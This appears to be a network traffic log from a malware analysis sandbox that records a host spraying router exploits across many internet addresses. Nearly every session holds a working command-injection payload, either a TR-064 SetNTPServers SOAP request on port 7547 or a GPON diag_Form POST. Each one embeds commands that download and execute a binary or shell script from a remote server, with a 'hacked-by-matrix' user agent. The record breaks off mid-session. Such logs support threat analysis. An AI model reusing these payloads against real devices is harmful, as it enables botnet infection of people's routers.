Mar 21, 2024 05:26:57.931104898 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.23	39912	175.240.225.222	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.296869993 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:57.153160095 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.023969889 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.307718992 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.23	43888	39.29.2.119	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.296894073 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:57.769572020 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.057550907 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:57 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.23	42834	212.69.233.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394805908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.23	56356	212.151.95.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394840956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.23	45654	210.123.70.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394850016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.23	38250	118.61.213.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394850969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.23	40742	94.250.6.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394867897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.23	36828	79.160.67.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394881964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.23	35302	37.227.241.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394886017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.23	46950	5.136.37.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394896984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.23	45006	109.215.172.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.394974947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.23	51678	118.122.163.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395009995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.23	55022	178.121.93.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395015955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.23	45746	2.100.9.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395045996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.23	59082	37.194.3.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395057917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.23	35214	178.243.49.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395116091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.23	37392	37.221.148.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395134926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.23	39280	212.60.161.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395142078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1401	192.168.2.23	55936	109.110.93.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395174026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1402	192.168.2.23	44022	178.111.228.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395212889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.23	56040	37.227.95.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.395243883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.23	32994	210.120.23.130	443

Timestamp	Bytes transferred	Direction	Data
